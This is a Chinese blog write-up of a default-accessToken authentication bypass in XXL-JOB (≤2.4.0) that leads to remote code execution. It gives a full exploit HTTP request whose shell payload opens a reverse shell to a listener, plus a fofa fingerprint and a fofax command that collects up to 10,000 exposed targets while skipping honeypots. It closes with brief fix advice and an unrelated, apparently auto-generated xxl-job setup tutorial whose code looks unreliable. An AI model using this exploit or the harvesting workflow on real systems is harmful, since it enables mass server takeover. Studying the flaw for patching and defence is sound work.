【漏洞库】XXL-JOB 默认accessToken权限绕过导致RCE

漏洞描述

XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此默认的accessToken 绕过认证调用 executor,执行任意代码,从而获取服务器权限。

漏洞编号

漏洞评级

高危

影响版本

XXL-JOB <= 2.4.0

漏洞复现

漏洞环境与漏洞工具下载链接:https://pan.baidu.com/s/1ePOM_GcC71M19Mc5l0ldqQ?pwd=8888

漏洞复现详细参考链接:https://mp.weixin.qq.com/s/JEpiUndGLe–ufLq0NR0_Q

- EXP 编写

POST /run HTTP/1.1
Host: 目标IP:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 391
XXL-JOB-ACCESS-TOKEN: default_token

{
  "jobId": 2,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/监听IP/监听端口 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

执行以上EXP之后,获得反弹shell,如下图所示:

image-20231103104810221

注意:

在这个靶场环境中,我只能执行获得反弹shell的EXP,如果是ping一个dnslog域名,或者是创建一个目录,都是无法成功的,有时候反弹shell也不可以,但是可以创建目录,不知道为啥,可能有点玄学吧!

玄学解决:

在经过对靶场环境的多次重启试验之后,我发现我们编写的EXP只能用一次,如果第二次用其他命令就无法命令执行了,除非将靶场环境重启,我们才能执行其他的命令,不然只能一直使用第一次用的EXP

漏洞挖掘

fofa语法

body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"

image-20231103105532716

批量收集资产:通过fofax工具,使用-e参数排除蜜罐干扰,然后通过fofa查找10000条数据并放入txt文件中

echo 'body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"' | fofax -fs 10000 -e>xxl-job.txt

修复建议

1.修改调度中心和执行器配置中的 xxl.job.accessToken 默认值。

2.如非必要,禁止公网访问执行器端。

  • 8
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
xxl-job 是一个分布式任务调度平台,可以帮助开发者快速搭建任务调度中心。下面是使用 xxl-job 的一般步骤: 1. 首先,你需要引入 xxl-job 的依赖。可以在项目的 pom.xml 文件中添加以下依赖: ```xml <dependency> <groupId>com.xxl-job</groupId> <artifactId>xxl-job-core</artifactId> <version>{latest version}</version> </dependency> ``` 你可以在 Maven 仓中找到最新的版本号。 2. 创建一个任务执行器。在你的项目中创建一个类,并实现 `IJobHandler` 接口。这个接口有一个方法 `execute`,你需要在这个方法中编写你的任务逻辑。 ```java public class MyJobHandler extends IJobHandler { @Override public ReturnT<String> execute(String param) throws Exception { // 执行你的任务逻辑 System.out.println("Hello, xxl-job!"); return ReturnT.SUCCESS; } } ``` 3. 在你的项目中配置 xxl-job 的执行器。在 application.properties(或 application.yml)文件中添加以下配置: ```properties xxl.job.admin.addresses=http://admin_address xxl.job.executor.appname=myJobHandler xxl.job.executor.ip= xxl.job.executor.port=9999 xxl.job.accessToken= xxl.job.executor.logpath=/data/applogs/xxl-job/jobhandler xxl.job.executor.logretentiondays=3 ``` 其中 `admin_address` 是 xxl-job 的管理中心地址。 4. 启动 xxl-job 执行器。在项目启动时,需要初始化 xxl-job 的执行器,并注册到 xxl-job 的管理中心。 ```java public class Application { public static void main(String[] args) { // 初始化执行器 XxlJobExecutor executor = new XxlJobExecutor(); executor.setIp("executor_ip"); executor.setPort(9999); executor.setAppName("myJobHandler"); // 注册执行器到管理中心 XxlJobExecutor.registJobHandler("myJobHandler", new MyJobHandler()); // 启动执行器 executor.start(); } } ``` 以上就是使用 xxl-job 的一般步骤。当配置完成并启动执行器后,你可以在 xxl-job 的管理中心创建任务,并触发执行。执行器会定时向管理中心拉取任务,并执行你的逻辑代码。 请注意,以上只是简单介绍了 xxl-job 的使用步骤,具体的配置和使用方法还需要根据实际情况进行调整。你可以参考 xxl-job 官方文档获取更多详细信息。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值